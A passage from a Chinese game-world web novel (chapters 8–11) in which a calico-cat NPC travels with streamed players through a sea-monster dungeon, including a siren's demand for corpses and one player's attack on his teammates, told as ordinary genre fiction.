红衣女鬼不安地搅紧双手，一会儿左手拇指在上，一会儿右手拇指在上，十足地神经质。 阿尔伯特拍拍他的老同事的肩。 “放心，淑贞，塞壬会处理的。” 8、第八章 大海的深处、黑暗的最底端，是海怪们的巢穴，任何人都不能擅自靠近，否则会被巨浪吞噬，成为海怪的晚餐。 这是童话镇从古至今的共识。 尽管，并没有人真正见过海怪的样貌。 因为凡是见过海怪的人——水手、渔民、船夫……无一例外，全都死在了这片乍看平静的、蔚蓝的海上。 咕咚……咕咚……咕咚………… 暴风雨之下的海底一片黑暗，一丝月光都透不进来。 黑暗之中，有着什么比黑暗更可怖的怪物，正在深海中，一点一点收缩着自己庞大的触手，将所有靠近它的生物缓慢地卷入身体下方，吞吃入腹。 巨大的黑影徐徐顺着海流挪动，很难想象深海中会有如此巨大可怖的生物，那森然的黑影比万丈深渊更幽秘，比偌大的岛屿山脉更庞大。 这个可怖的深渊怪物背脊上，一条银色的鱼尾徐徐上下拍打着，鳞片在伸手不见五指的黑暗深海中散发着一点淡淡的荧光。 从鱼尾向上，是灰白发蓝的人类身体和顺着海潮漂浮的蜷曲长发，那长发如同荧光的水藻，远不像在岸上那样枯槁颓萎。 塞壬摆了摆尾巴，掀起眼皮，看了一眼阿尔伯特发来的消息，灰白色的眼珠在海底闪过一丝冷光。 【阿piu，走吧，要工作了。】 带着特殊韵律感的歌声，那是人鱼的语言。 塞壬的尾巴轻拍两下，祂身下巨大的海怪会意，无数只肥大的触手缓慢张开，翕动，向海面浮起。 塞壬跟阿尔伯特还有淑贞是不一样的。 那两位同事，以前都曾经做过人类，就跟花黎一样。 他们的战力水平稳定，个性也稳定，更容易跟花黎沟通。 人鱼不同，人鱼生来就是怪物，而且祂还没有成年，各项数值都没有归于稳定，数值几乎每天都在攀升，就连系统都还没能给祂正式定级。 塞壬无所谓自己的种族，也无所谓战力水平，相比起人类托生而成的怪物，作为天生的怪物，祂并没有那么多情感。 但是…… 祂最近发现，祂开始体会到了一点点叫做羡慕的情绪，甚至……还有一点点嫉妒的情绪——祂有点嫉妒他的同事阿尔伯特和淑贞。 这对祂来说很新鲜。 一切都是从那只叫花黎的小三花猫来到怪物屋开始的。 那个小东西很柔软，很弱小，对于塞壬来说，随便动动手指就能把他捏死。 小猫咪让塞壬想起，从前他们的怪物屋也时不时会来新同事，但这些新同事没有一个能留下的，因为全员天灾级的怪物屋成员给新人的压迫感实在太大，哪怕阿尔伯特再怎样装作和蔼可亲也无济于事。 最后那些新人都怀着对他们的恐惧相继离开了。塞壬以为，这只小猫也会是同样的。 这只小猫曾经甚至是一个弱小的人类。 就算是在人类世界，他也是最底层，是被大多数人类欺负打压的对象。 太过脆弱了。 但塞壬没想到的是，小猫甘之如饴地留下了，并且从始至终都没有表现出哪怕一丁点对他们的惧怕。 相反，这只小猫从来到怪物屋的第一天起，就在以自己的方式，努力地融入，努力地照顾他们，努力地试图成为一名“优秀员工”。 塞壬喜欢小猫每天为祂准备的食物——尽管那个小家伙将之称为……“鱼粮”。 鱼粮，也很好。 祂喜欢小猫为祂精心准备的鱼粮。 祂更喜欢这只小猫。 对于祂来说，所谓的“关系”很简单，只有“自己”与“敌人”的分别。 喜欢的东西，都是自己的一部分。 如果这世界上存在对“自己”有害的东西—— 那就……直接将之消灭，吞噬……埋葬于无穷无尽的海底深渊之中。 祂是一个比较传统的怪物。 祂的行事逻辑，向来就是如此。 . 海上的风暴越来越大了，海盗船却依旧纹丝不动。 花黎灵活地爬到了桅杆的最顶端，小猫抱着高高的桅杆，凭借着卓越的夜视能力，远远地看到了童话镇所在的岛屿轮廓。 桅杆上的海盗旗被风吹得鼓起，猎猎作响，桅杆也在晃动，小小的三花猫用短短的爪爪扒拉住桅杆，因为体重太轻，时不时被风卷起，像一只三花陀螺，在桅杆上迎风招展。 “喵嗷嗷嗷嗷——”勇敢猫猫，不怕困难！ 花黎努力睁开眼睛，向漆黑的海面上看去，依稀能看到海盗船的船身周围有什么柔软的、蠕动着的东西，一条一条，如同肥硕的肉虫。 正是因为船身被这些肉虫一样的东西团团包裹，整个船体才会在大风大浪中纹丝不动的。 花黎看不出这些是什么东西，但隐约能看出是活物，不知是否有攻击性。 隐隐绰绰的歌声再次传来，渺远，空灵，又带些兽性。 “喵咪……”塞壬，你在吗…… 海潮汹涌，漆黑的大海没有给他任何回应。 花黎有点担心塞壬。 按照阿尔伯特和淑贞的说法，塞壬，是人鱼界的青少年，而且很显然地，这个“少年”的性格有点……自闭。 这点就算不用阿尔伯特和淑贞说他也能看得出来。 内向、寡言、只会吐泡泡的青少年人鱼……如果这片海里有很多海怪，甚至还有别的成年的、壮年的人鱼的话，其他的怪物会不会霸凌塞壬？ 花黎心事重重地扒拉在桅杆上，既担忧洛书亦他们，也挂心塞壬。 然而打开自己的信息面板，看着明晃晃的【综合战斗水平：f】、【级别：幼稚园级】等字样，花黎深知自己现在的能力太有限了，自身都尚且难保，恐怕帮助不了任何人和怪物。 小猫有些沮丧，在汹涌的风暴之中，尖尖的耳朵耷拉了下来，湿乎乎地贴在圆滚滚的脑袋上。 像一只忧郁的小兔子。 忽然又一阵狂风吹来，桅杆很滑，花黎的爪爪一个没有扒稳，便被飓风吹掉了下来。 小猫在空中头晕目眩地翻滚。 花黎暗自祈祷自己不要掉到海里去——他是一只一点也不会游泳的猫。 在空中滚了几圈后，眼看着离海盗船的边沿越来越近，也离黑色的大海越来越近，小猫绝望地闭上了眼睛。 即将和夹板边沿的栏杆擦身而过掉入海中，下方那个不知道到底是什么的、又软又肉的“大黑虫”仍在蠕动，花黎开始幻想自己即将变成大黑虫的晚餐。 喵呜…… 我的肉很少，我不好吃的qwq 小猫的幻想被打断了。 一只手，在花黎即将坠入海中之前，堪堪捞住了他后脖颈的皮，将湿哒哒的小猫球捞回了船上。 被抓住后颈的小猫不敢轻举妄动，可怜巴巴地缩成一团，花黎很快被抱进一个同样被暴雨打湿了的怀抱中。那只手松开了他的后颈皮，顺手呼噜了几下小猫后背凌乱的毛。 熟悉的手法。 花黎抬头向上看，果然，紧急抢救了他的又是宋斐。 小猫眨巴眨巴眼睛。 这好像是他第三次被宋斐救了。 也是他第二次，被宋斐湿乎乎地抱在怀里。 花黎也不知为什么，宋斐似乎没有被海上传来的那丝若隐若现的歌声所影响，从神色到动作都十分清明。 小猫伸出粉色的小舌头，舔了舔宋斐的手。 宋斐还是那副淡漠的样子：“又湿了，小心感冒。” 熟悉的毛绒绒软乎乎的大毛巾将小猫包裹，花黎的周身瞬间暖乎起来。宋斐将他抱在怀中，高大的身体将大部分暴雨遮挡住，让花黎安全地缩在他的怀里。 这是花黎十八年的人生以来，第一个在风雨中主动将他圈住的港湾。 小猫下意识往男人暖呼呼的怀抱里又缩了缩。 男人向下瞥了一眼，“是‘波塞冬’。” “喵？”波塞冬？是那位传说中的海神吗……？ “一种海怪。”宋斐仿佛理解了小猫的疑问，解释道，“我没遇到过，但怪物图鉴里有记载。” 这个花黎是知道的，系统商城里有售卖怪物图鉴，按照图鉴的齐全程度分为基础图鉴、精英图鉴、专家图鉴和大师图鉴，价格依次递增。之前花黎对游戏内除了他的同事们以外还有什么类型的怪物很好奇，因此大致看了一眼，结果差点被昂贵的价格吓晕。 光是只有最低等级小怪的基础图鉴，售价就有50万游戏币——那可是劳模淑贞一整个月的工资啊！！！ 现在淑贞在花黎心中已经成了游戏币计量单位，50万游戏币=1淑贞=1个小目标=贵贵贵贵贵贵贵…… 后来阿尔伯特告诉他，稍微级别高一些、罕见一些的怪物，都要到专家图鉴及以上才会有记载了，近boss级和boss级，要么没有记载，就算记载也仅在大师图鉴上。 大师图鉴售价799万游戏币…… 宋斐不知，怀里看似憨憨的小猫，早已在他一句话出口的瞬间算了一笔账，并在内心掀起了比眼前的大海还惊悚的惊涛骇浪。 他只是用空余的手抹了一把脸上成缕滴下的水，面无表情道：“大小是个boss，不算太好打，但也不是不能打。” 9、第九章 程凡是被一屁股坐醒的。 他本来恍恍惚惚意识乱飘，不知今夕何夕，躺在船舱内的木地板上，闻着旁边海盗储存的葡萄酒的味道，感觉自己像是喝醉了。 正沉浸在这种飘飘欲仙的美妙之中，忽然感觉脸上毛茸茸软乎乎的。 ……什么东西四只爪子踩着他的鼻子下巴，一屁股坐在了他脸上。 还散发着一股甜甜的奶香气。 “？” 程凡迷迷糊糊中感觉那味道挺好闻，半睁开眼睛，想伸手抓住那个软软甜甜的小东西。 结果被那个毛乎乎的小爪子梆梆揍了两拳。 “？？？” 这下，程凡彻底清醒了。 花黎见程凡醒了，默默停止了自己小小的公报私仇行为，尾巴摇了摇，从程凡脸上哐叽哐叽踩过去，又去叫洛书亦跟纪铭了。 只用了十分钟左右，程凡小队全员就都清醒了过来，怔怔盯着坐在船舱内舔爪爪的小猫看。 . 游戏大厅内的玩家面面相觑。 半晌，才有人试探道：“你们刚刚看到了么？那只猫……” “那是人鱼之歌吧？？那只猫到底是怎么把他们从人鱼之歌里叫醒的？！”有人震惊得无以复加。 看过直播跟录屏的都知道，第一个进童话镇的那支国服高手小队，也在第一天进本后就在海上遭遇了风暴和怪物的围剿。 原本，那支小队的玩家尚且能保持清醒理性，思考如何从怪物中突围。 但从海上飘起这种缥缈的歌声后，国服大神们就逐渐变得不清醒了。 海怪相当擅长迷惑人类，祂们用歌声让人陷入混乱，再用伪装的言语，诱惑玩家为了利益而互相残杀。 以至于那一整队国服大神，最后都在昏昏沉沉中被一只只海怪拖下深渊，吞噬殆尽。 那些海怪中，有相当一部分都是上半身人下半身鱼的样貌，尽管长得跟通话传说里的人鱼不能说一模一样，只能说毫不相干，但部分经常研究高级副本的玩家，从此就将这种海上传来的“仙乐”定义为人鱼之歌了。 随着这段时间大家开荒过的副本越来越多，人鱼作为罕见怪的一种也在好几个副本里被发现了，但无一例外的是，在海上听到人鱼的歌声的玩家，最终的结局多半就是一个死字。 目前还没有任何破解这种幻术的方法。 可是刚刚，他们看见了什么？ 这只三花猫npc，把玩家从人鱼之歌中唤醒了？？？ “所以……这只猫果然是有用的么……”围观群众茫然挠头，“真的假的啊……这是什么有技能的神兽npc不成？” “……” 一群人便皱着眉头盯着屏幕里平平无奇的小猫，冥思苦想。 柔软的长毛、大块的花纹。 懵懂的大眼睛，圆滚滚的小屁股…… ……除了可爱以外，还有别的什么惊人之处么……？ 大约是因为刚刚淋了雨，小猫把人叫醒后，就缩在船舱内的壁炉旁边蜷成一团，猫屁屁对准了炉火。 这么烤了没一会儿，三花猫屁股后面的一块白毛，肉眼可见地变黑了。 “这是怎么回事？这猫还会变色？？” “真不是普通猫？也对，副本里忽然出现的npc果然都不能小看啊，说不定他的真身不是猫——” 游戏大厅内的玩家自认为终于找到了此猫并非普猫的重要证据，面色严肃，议论纷纷。 许久，才有一个女孩小声插进来：“那个……似乎是猫毛被烤焦了……小猫冬天烤暖气有时候就会这样……” 众人：“？” . 火炉太舒服暖和，花黎烤了许久才发现自己屁毛被烧糊了一块。 花黎：=口=！ 小猫追逐着屁股蛋在原地团团转了好几圈，直到又是那只熟悉的大手按住了被本能驱使的小猫，在他被烧焦的屁屁上安抚地拍了两把。 宋斐探究的视线略过小三花猫，将猫抱起。 “……你把他们都叫醒了？” “咪……”拍了两下就醒了，这也算咪的功劳么…… 花黎有点心虚。 所幸宋斐也没再纠结此事，他直起身，冷然道：“我们遭遇了海怪，对方等级不低，要想突围，所有人听我指挥。” 此时程凡已经完全清醒了，他飞快跑到船舱侧边窗口处，整个人趴在窗栏上，向船下的海面眺望，待他看清那些蠕动着的、乌黑油量的触手时，眼里竟迸射出一股精光。 “果然来了，果然来了。哈哈，老子要单通了！” 扭头快意地看向宋斐，“谁特么要听你指挥？你再过没几分钟就要凉了好么！” 船身开始微微晃动，能隐隐感受到船底有什么东西在一下一下地蛄蛹。 想必是“波塞冬”肥大的触手。 那些触手从船底开始，一点点地向上攀爬，缓慢，但持续，直到在雷雨风暴中将一整艘木制海盗船顶起，大半都包裹在那乌黑软体的触手当中。 原先婉转的歌声逐渐消失，取代的是某种如同压抑的鲸鸣一般的渺远声波。 窗外变得一片黑暗，什么也看不见了。 船内的几个人感到一点隐隐的失重感，身形微晃。 大约可以想见，是他们的船被波塞冬的触手全面包裹住，从海上举起，升至了半空中。 程凡小队的人看不到，玩家大厅的直播现场玩家却看得清楚，所有人倒抽一口凉气！ 只见一个巨大到如同一座庞大岛屿一般的可怕海怪，从海底渐渐探出它的身体。 海怪的头、眼睛、嘴……分别在哪里，无从分辨。风暴暂歇，海上升起一轮明月，银色的月光落在海上，映出那怪物庞大可怖的黑色身体，祂的周身包覆着污浊黏液，比楼宇更巨大的软体触手逐渐升起，那艘本该很大的海盗船在海怪触手的包覆之中露出一个船头，简直就像小孩的乐高玩具。 比鲸啸更为激荡震撼的轰鸣之声，响彻云霄。 “疼…………” 洛书亦最先站不稳，他捂着耳朵扶着墙滑坐在地上，眼前一阵阵地发黑。 纪铭跟程凡的状态也不太好，随着怪物的声声嘶鸣，两人都捂着耳朵蹲下身来，大约是耳膜被震伤了。 花黎抖了抖尖尖的耳朵——他对此倒没什么感觉。 “疼？”宋斐见花黎抖耳朵，以为小猫也被声波震伤了，在猫咪耳朵底下的位置很轻地按了一下。 “咪！”不疼！ 宋斐看见小猫精神奕奕的眼睛，从包裹里拿药的手才顿住。 最后他摸出三瓶药，挨个扔给了倒在地上的那三人。 “这……这是……系统商城里的…………”纪铭捧着药瓶，看见上面【高级短效治愈药水】的字样，说话顿时磕巴起来。 游戏商城内是有卖可以紧急治愈外伤的药品的，但只能治疗很轻度的外伤，价格还死贵，就连大佬都很少有舍得买这种鸡肋的东西的。 没想到宋斐居然有这么多，还如此大方…… “吃了。”宋斐言简意赅，“吃完跟我上去。” “上……上去……？” 洛书亦吃完药后才觉得剧痛的耳膜好了些，他张着嘴看向船舱顶部甲板的位置——宋斐哥是认真的么……到了甲板上去，岂不是马上就要变成外面怪物的晚餐了……？ “嗯。”宋斐淡定地应了一声，一句多余的解释都没有。 几个队员尚在面面相觑，宋斐怀中的花黎耳朵尖再次动了动。 花黎听到了熟悉的声音。 塞壬？ 小猫琥珀色的圆眼睛倏地亮了起来。 宋斐忽然感觉到怀里的小东西莫名开始挣扎扭动，他微微皱眉：“小东西，别乱跑，有危险。” “喵喵喵~！”宋斐哥二号，放我出去吧！我要找塞壬~！ 宋斐听不懂小猫叽里咕噜咪咪嗷嗷的在说什么，只感觉到小家伙的挣扎愈发剧烈，他担心这小东西懵懵懂懂跑出去会出什么问题，手下用了点力气，结果被小尖牙轻咬了一下，微微疼痛，一不留神便松开了手。 三花猫哧溜一下就跑了。 …… 花黎飞速跑上甲板，发现暴风雨已经停了，船身大部分被那只软体类巨大章鱼一般的海怪包裹住，那软乎乎的触手还在微微翕动。 就像在怪物体内的消化道里跑步一样。花黎不由产生了这种荒谬的联想。 不过，小猫当然不会怕怪物。 小猫本来就是怪物！ 不要把f级、没有特殊能力的【实习生三花猫】不当怪物鸭！ 花黎很有信念感地这么想着，一路飞奔，跑向没有被波塞冬的触手包裹住的船头。 “喵嗷——！”塞壬——！ 花黎太担心孤僻内向的小孩塞壬会被副本里其他的怪物欺负了。 小猫占到了海盗船的尖尖上，四处张望。 他这才发现，海盗船已经被波塞冬巨大的触手高高地举了起来。 银色月光洒落在夜晚的海面上，没有风暴的海面酝酿出了某种平静又幽秘的美感。 ……如果没有恐怖电影里才见过的、灰蓝色皮肤的人鱼，一条条龇着尖锐的白牙，从海面探出脑袋的话。 人鱼们空洞没有眼珠的眼睛映出淡淡的月光，莽白一片，像毛玻璃染了霜，如果是普通人看到这样的场景，定然会心中犯怵。 好多海鲜……啊不，海怪啊…… 塞壬是最后一个从海里探出头来的，花黎认出了祂蜷曲的灰白色长发。 人鱼在银白色闪亮的月光下，从海底缓缓浮出水面的场景既惊悚，又别具灵性之美。 前提是——祂没有用祂的尾巴用力一拍海面，整条鱼腾飞起来，并且一拳打断了波塞冬的一条触手……以及触手内捂着的船舱窗户的话。 哗啦啦啦—— 玻璃碎裂，坠落入海，反射着月光，梦幻。 花黎怔怔地看着塞壬银色的鱼尾，又看向其他露出臣服姿态的人鱼。 原来这条阿宅i鱼……好像还挺厉害的……？ 花黎忽然放了心。 还好还好，塞壬看上去没有被欺负。 船舱的玻璃窗碎成了无数片，人鱼破窗而入，趴伏在地，巨大的银色尾巴有力地拍击着船舱内的木制地板，流下一道道蜿蜒的水迹。 原本站在船舱内的洛书亦、纪铭和程凡都吓得踉跄着四散开去，正顺着楼梯准备上甲板的宋斐顿住了脚步，看向这条愤怒地拍打着鱼尾的人鱼。 程凡躲在桌子后面，生理性地战栗，他紧紧盯着那只浑身灰白发蓝、样貌惊悚的人鱼，既恐惧，又无端地兴奋。 终于，对通关和奖励的渴望战胜了恐惧，程凡想到上一个小队所遭遇的选择困境，抖着腿从桌子后走了出来。 他走到人鱼的面前，人鱼身上流下的水漫湿了他的鞋底。 “喂……你，你就是这个海里的海怪对吧，我们是这里的海盗，不小心闯入你的地界真是对……对不起啊……你可以随便向我们提……提要求——” 上一个进童话镇的大佬小队，海怪提的要求就是，献祭三人，留下一人。 程凡在等待这个相同的答案。 10、第十章 这一切不过发生在须臾之间，游戏大厅内的玩家们不由自主屏住了呼吸。 除了赌坊里程凡单通的赔率又降低了一点以外，整个广场上如同时间凝滞。 别的常见副本什么地方大致会出现什么样的怪，经常下本或者看直播的玩家都已经很清楚了，但sss级本不一样，对于绝大多数人来说，童话镇这个本里的一切都是完全陌生的。 至于之前看过第一个小队开荒录屏的…… “不对啊。”有花钱买了录屏认真研究过的技术党玩家皱眉盯着大屏幕，“之前那个队伍下这个本的时候，确实出现过这个叫波塞冬的大型海怪，但应该是没有出现过人鱼啊？” “那这个人鱼哪来的？” “不知道……话说之前别的本里出现过的人鱼有这么大只的么？这尾巴好大——” 最开始那个看过录屏的玩家咽了一口口水，并未回答周围其他玩家的问题。 这里差不多正是第一次开荒童话镇的国服大佬们团灭的地方，在录屏里，是这只被称作“波塞冬”的海怪向玩家提出了献祭队友的血腥要求。 但现在，走向似乎跟上一次不太一样。 这个sss级本是有什么特殊之处么？怪物的出现是随机的？ . 船身微微摇晃，是波塞冬在轻晃祂肥大的触手。 花黎站在甲板前端，跟这只巨大的、通体黏液的巨型海怪撞了个眼对眼，对方那两只比花黎的脑袋还大的眼睛镶嵌在不知是不是脑袋的部位，在黑夜之中十足惊悚。 “喵……咪……”我……我没有恶意……我只是打算下去看看塞壬他们怎么样了…… 也不知是不是错觉，花黎总觉得在自己说完这句话后，波塞冬那两只铜铃大眼似乎弯了一下，露出了一个……类似微笑的表情？ 这种生物真的能做出“表情”吗=口= 花黎又看向海面上其他的人鱼，这些鱼都没有什么进一步的动作，就那样零散地漂在海面上，如同散漫的浮游生物，只偶尔用鱼尾拍打水面时，才能感受到一点存在感。 花黎试探地动了动爪爪，想回船舱中去。 甲板因先前的暴风雨有些潮湿，猫咪的爪垫摩擦力虽强，还是稍许打滑了一下，小猫跑太快，就在将将要摔一个屁墩的时候，被布满了滑润黏液的触手卷了起来。 “咪！”咦咦咦！ 小猫怔怔抬头，只见波塞冬包裹着黏液和吸盘的触手将他小心翼翼地圈在其中，他能感觉到，那触手甚至不敢卷得太紧，似乎生怕伤到他。 花黎就这么晕乎乎地被波塞冬的触手卷着，缓缓放进了下层的船舱内。 波塞冬是个好怪物。花黎四爪落地后，这么想着。 希望宋斐哥二号不要跟波塞冬真的打起来。 船舱内的空气如同凝滞，洛书亦和纪铭动也不敢动，而塞壬灰白空洞的眼睛正一瞬不瞬地凝视着祂前方的程凡。 程凡试探着又往前走了一步。 “喂……你……你听见我说的了么？你们海怪不是都……都要吃人的么？你快提要求，就让我来满足你。快，说吧，你要的献祭！” 塞壬动了动脑袋，人鱼顶着蓬乱长发的头颅在脖子上僵硬地转了半圈，如同游乐园里坏掉的旋转木马。 【献祭……？】 在场的所有人脑海中都同时响起一个嘶哑又空灵的声音，洛书亦被吓得一个激灵，然后才意识到原来是这条人鱼在说话。 最为激动的当属程凡，他几乎是连滚带爬地向着那可怕的怪物跑过去。 “你……你说！你快说！我知道的，只要完成了你们这些海怪的要求，老子就能通关了对吧？我都知道！” 人鱼脖子上凸出的血管微微翕动驳张，许久，那个嘶哑的声音才再次响起。 【没错，完成，我的要求。】 窗外的月光洒落进来，给外表诡异惊悚的人鱼镀上了一层充满神秘意味的银光。 【我的要求是，五天之后，带上一百具，新鲜尸体，送到海边给我。】 “……一、一百具？” 程凡愣住了，原本激动高亢的声音微微颤抖，“不是，你这……怎么跟上次他们遇到的那个海怪不一样啊……” 【完成我的要求，或者，死在这里。】人鱼那嘶哑中又荡漾着独属于人鱼的韵律的声音在所有人脑海中回荡，洛书亦跟纪铭的脸色都被吓得青白。 【不远处，有人类的镇子。你去，杀了他们，献祭给我。听明白了么？】 “好…………好！既然你他妈这么要求——不就是杀人么？呵呵，都已经进这种游戏了，都他妈进sss级本了，杀一个两个，跟他妈杀一百个，能有什么区别？！你……你就回我一句，我要是达成了你的要求，你让不让我通关？给不给我积分？送不送我游戏币跟奇珍异宝？！” 【只要你能，达成我的要求。】 人鱼嘶哑的声线中似乎蕴含了某种沉静的承诺，如此笃定，令程凡一瞬间禁不住地热血沸腾。 “好，他妈说定了。你这个海怪，可不要反悔。” 人鱼没有再说话，灰白没有瞳孔的眼睛定定看了程凡一会儿，巨大的鱼尾甩动了几下，就从地上弹跳起来，落到了窗沿。 在人鱼即将重新坠入海中时，小小的三花猫弱弱地“喵”了一声。 人鱼回头，看向那只看似弱小可怜又无助的小猫。 在场的其他几人怔了一下——他们似乎在那双空洞的眼眶中，看见了一瞬间的温和笑意。 是错觉吧…… 人鱼甩动着尾巴，灵活地重新投入海面，在平静的海面上溅出水花。 其他仰着头一动不动的人鱼在祂们的疑似首领重新入海后，纷纷张口，空灵的人鱼之歌再次响起，海上腾起浓雾。 程凡小队的人再次在人鱼之歌中变得意识朦胧，等到重新清醒之际才发现，海上的天空已经泛起了鱼肚白，那密密麻麻的灰白色惊悚人鱼潮已然退去，海怪波塞冬也不知所踪。 空余映出金色朝阳的海面，风平浪静。 “夜……夜里发生的事情……都是真的么？” 纪铭半张着嘴，面色有些呆滞，望着窗外一片蔚蓝无垠的大海出神。 只有船舱碎裂一地的玻璃渣显示着，昨夜的一切并非是梦。 “呵呵……呵呵…………” 程凡在地上睡了一夜，此刻头发蓬乱，衣服也湿哒哒地黏在身上，只见他缓慢地从地上爬了起来。 然后，趁着洛书亦纪铭未及反应，掏出一把雪亮长刀，丝毫没有犹豫地就向着他的两个队友劈砍下去！ “！！！” 洛书亦跟纪铭惊恐地睁大眼睛，b级跟c级的战力有差距，这一切又发生得太快，他们根本躲闪不及！ “救……” 救命两个字只吐出来一半，身材瘦小的洛书亦感到脸上一痛，已经被程凡锐利的刀锋划伤了。 他绝望地闭上了眼睛。 预想之中的可怕疼痛却没有来袭，洛书亦小心翼翼地睁开一只眼睛，愕然发现，那只弱不禁风的、可爱的、幼小的三花猫正端端正正地坐在他和纪铭的身前，尾巴还在轻轻地摇晃。 而程凡的刀，正落在小猫的头顶。 . 游戏大厅的广场上惊起嘶声一片，无数围观群众被这惊险刺激的一幕震撼得直拍大腿，倒抽冷气！ 有人认出了程凡这把刀，这是武器商城里售价高达3000游戏币的紫色装备，以现在的大部队玩家水平来说，能买得起紫色装备的也算是前列了，想必是下了不少本攒了不少币才买下来的。 这样一把攻击力强劲的紫色武器，居然一点都没伤到这只萌萌的npc三花猫？！ “这猫到底是何方神圣？？？” “我靠，这特么金手指吧？？？？！” “这个队跟上次国服大佬队的遭遇怎么完全不一样？该不会就因为这只猫吧？？这猫难道是什么隐藏关键npc？？奇遇？？？还是什么特殊通关道具？！” . 花黎一根根炸起来的毛好不容易才慢慢落了回去，重新变得柔顺。 呼……还好还好，阿尔伯特给的紧急用透明防护罩果然很好用。 他刚才千钧一发之际挡在了洛书亦和纪铭跟前，张开了这个防护罩，不论是现场的洛书亦等人，还是屏幕外观看的玩家，谁都没有注意到这层完全透明的高级防护罩。 只有一旁的宋斐，目光掠过小猫跟前，捕捉到了那一闪而过的一点蓝光。 宋斐握着匕首的右手在刀柄上轻轻摩挲了一把，将那把闪着寒光的匕首放回了包裹里。 花黎脑袋一顶，坚硬的防护罩向前倾轧，程凡的刀“锵啷”一声脱了手，掉落在地。 程凡本人也惊悚地瞪大了眼睛。 他是为了怪物那个“献祭一百个人的尸体”的要求，打算先拿最弱的洛书亦跟纪铭祭刀，但他怎么也没有想到，他的计划居然被这么只破猫给破坏了。 “你……你到底是什么东西……？！”程凡向后退了半步，“难道你他妈也是怪物？！” 花黎翻了个白眼，回头查看了一番他的同学的伤势，见两人并无大碍，摇摇尾巴，跳到了一边去，根本不搭理程凡。 小猫咪又犯困了。 他找到船舱角落的一处纸箱，跳进去，把自己蜷成圆圆的一团，打了个哈欠，就继续睡了。 而海盗船内，除了宋斐以外的其他三人，一时都不敢轻举妄动。 ——这只三花猫，莫非真有什么隐藏的关键身份不成……？ 只有宋斐，仿佛昨夜的海怪袭击以及刚才的同伴内讧都没有给他造成任何影响。 高挑的男青年靠在碎裂的玻璃窗边，海风拂起他额前的碎发，宋斐眼睑微垂，看向窗外。 “到了。”他淡声说。 纪铭后知后觉地从刚才的恍惚中回神，拉着洛书亦迅速远离程凡，跑到宋斐身边。 “什……什么到了？”纪铭觉得自己已经被吓得有点神经衰弱了，苍白着脸道。 “童话镇。” 几人顺着宋斐的话朝窗外望去，果不其然，海盗船被海浪推着在海上漂了一夜，此时已然临近陆地边缘，此刻船的正前方就是海岸，岸上绿意盎然，红瓦尖顶的小房子一排排整齐排列着，当真就像童话故事中的欧洲小镇一般。 一夜惊魂过后，看到这样一幅平和的画面，洛书亦跟纪铭还有些不知今夕何夕之感。 然而一想到昨晚人鱼的那个“要求”，两人的神经又不由自主地绷紧了。 对了…… 小猫，他们还有那只神秘的小猫。 洛书亦咽了一口口水，跑到小小三花猫睡着的纸箱边，蹲下，看着小猫软乎乎起伏的小小胸膛，被惊吓了一整夜的神经才终于得到了一些安抚。 但愿这只小猫，真的可以保佑他们平安通关…… 11、第十一章 童话镇，就如同这个副本描述的那样，是一个平静的海边小镇。这里四季如春，人们靠捕鱼为生，日出而作日落而息。 纪铭跟洛书亦还有些惊魂未定，纪铭平复了心情后，把船停靠在了岸边，将船锚抛出固定好。 一行人就这么上了岸。 花黎小小一只走在最前面，他注意到，自从他刚才“大展身手”以后，洛书亦跟纪铭似乎就不再把他当做普通小猫看待了，此刻亦步亦趋地跟在他一只小猫身后，显得有几分滑稽。 程凡脸色很黑，却也丝毫不敢轻举妄动，大约是对他有所忌惮。 小猫舔了舔嘴唇，边往前走，边唤出系统面板，查看他的任务进度。 【「怪物npc花黎」当前喜爱值：94点，任务完成进度94/1000】 任务进度底下可以查看喜爱值点数溯源，花黎好奇地点看查看了这94点喜爱值分别来自哪里。 【来自「玩家洛书亦」的喜爱值为：55点】 【来自「玩家纪铭」的喜爱值为：30点】 qwq不愧是他的好同学！光是他们两人就贡献了足足85点喜爱值！ 等等…… 85点。 94-85=9点 小猫飞速在脑子里完成了这道三位数以内加减法，然后石化了。 这也就是说…… 小猫爪往系统界面屏幕上一拍，颤巍巍往下滚动了半页，果不其然看到了最后一行字： 【来自「玩家宋斐」的喜爱值为：9点】 为什么会这样啊喵！ 固然他刚刚救了他的老同学的行为可圈可点，兴许会导致喜爱值提升，但是宋斐大哥二号对他就只有这么一点点点点的喜爱值真的科学么…… 花黎有些许的emo。 如果放在先前全球还没有游戏化，他还是那个不讨人喜欢的孤儿花黎的时候，他绝对不会因任何人不够喜爱他而感到难过，因为他很清楚，他身上的确没有什么值得别人喜爱的地方。 他有这样的自知之明。 但也许是变成小猫后，受到了来自怪物屋的大家的格外优待和照顾，让他情不自禁变得有一点飘飘然了吧…… 他保证，真的只有一点点。 这一点点的飘飘然，让他将宋斐大哥二号几次帮他救他、为他擦干毛发、将他抱在怀里的行为，视作了对方喜爱他的标志。 哎……看来是他自作多情了。 所幸花黎的emo并未持续很久，小猫在沙滩上留下了一排梅花形的爪印，开始认真思索接下来该怎么做。 目前来看，塞壬的安全不用操心，他只需要尽量保护好他的老同学洛书亦和纪铭……唔，当然还有宋斐大哥二号。 除此以外，为了kpi，他必须得想办法攒满1000点喜爱值才行——而这显然不是光靠他们三个玩家就可以办到的。 花黎思考着，觉得脚下的沙地很软，一边思考一边刨，很快爪爪就刨出了一个小小的坑坑，坑坑里爬出一只螃蟹。 螃蟹很小，只有花黎的爪爪那么大，小猫的注意力轻而易举地被飞快爬行的小生物吸引，本能地一爪爪拍上去。 然后被机警的螃蟹反手一钳子夹了一下。 猫毛一炸，尾巴也竖起，花黎：“咪！” 随着小猫被这一钳子夹跳了起来，他也看见了海滩高处站着的一排渔民。 风和日丽的岛屿沙滩上，这些渔民手里拿着他们的渔网鱼叉等装备，有些还提着桶，正直勾勾地盯着他们这一行人看。 花黎下意识地往自己刨出的坑里躲了躲。 这些渔民的眼神，让他感到很不舒服。 有点像……仿佛他们这几个活生生的人不是人，而是从海上飘来的瓶瓶罐罐、朽木死鱼一般。 小猫咪是很敏感的，花黎有一点害怕，往坑洞里又缩了缩，然后忽然回过味来——不对啊，他可是怪物呀！他有什么好害怕的！ 人类应该害怕他才对呀咪！（叉腰） 于是花黎又刨了几爪子，把自己从坑洞里刨出来。头顶上笼罩下来一片长长的阴影，一双于他来说已然十分熟悉的手将他抱起。 “不要乱跑。”冷淡的声音。 “喵……”我没乱跑，我只是在前面嗯……带队…… 宋斐立于沙滩上，看向那几个渔民：“你们是童话镇上的居民？这镇上有可以供旅客留宿的地方么？” 